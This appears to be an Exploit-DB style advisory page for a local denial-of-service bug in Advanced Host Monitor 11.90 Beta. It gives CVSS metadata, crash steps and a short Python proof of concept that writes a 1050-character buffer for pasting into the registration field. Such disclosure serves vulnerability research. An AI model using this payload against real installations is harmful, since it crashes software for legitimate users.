Advanced Host Monitor 11.90 Beta - 'Registration number' Denial of Service (PoC)

vendor:

Advanced Host Monitor

by:

Luis Martinez

7.8

CVSS

HIGH

Denial of Service (DoS) Local

CWE

Product Name: Advanced Host Monitor

Affected Version From: 11.90 Beta

Affected Version To: 11.90 Beta

Patch Exists: NO

Related CWE: N/A

CPE: a:ks-soft:advanced_host_monitor:11.90_beta

Metasploit: N/A

Other Scripts: N/A

Platforms Tested: Windows 10 Pro x64 es

2019

Advanced Host Monitor 11.90 Beta – ‘Registration number’ Denial of Service (PoC)

A vulnerability in Advanced Host Monitor 11.90 Beta could allow an attacker to cause a denial of service condition. The vulnerability is due to improper validation of user-supplied input when registering the application. An attacker could exploit this vulnerability by supplying a specially crafted registration number. A successful exploit could cause the application to crash, denying service to legitimate users.

Mitigation:

Users should avoid opening files from untrusted or unknown sources. Organizations should consider using application whitelisting to help prevent malicious software from running.

Source

Exploit-DB raw data:

# Exploit Title: Advanced Host Monitor 11.90 Beta - 'Registration number' Denial of Service (PoC)
# Discovery by: Luis Martinez
# Discovery Date: 2019-01-30
# Vendor Homepage: https://www.ks-soft.net
# Software Link : https://www.ks-soft.net/download/hm1190.exe
# Tested Version: 11.90 Beta
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es

# Steps to Produce the Crash: 
# 1.- Run python code : python Advanced_Host_Monitor_11.90_Beta.py
# 2.- Open Advanced_Host_Monitor_11.90_Beta.txt and copy content to clipboard
# 3.- Open HostMonitor
# 4.- Help -> License...
# 5.- Register Now
# 6.- Name (Organization): -> l4m5
# 7.- Paste ClipBoard on "Registration number:"
# 8.- OK
# 9.- Crashed

#!/usr/bin/env python
 
buffer = "\x41" * 1050
f = open ("Advanced_Host_Monitor_11.90_Beta.txt", "w")
f.write(buffer)
f.close()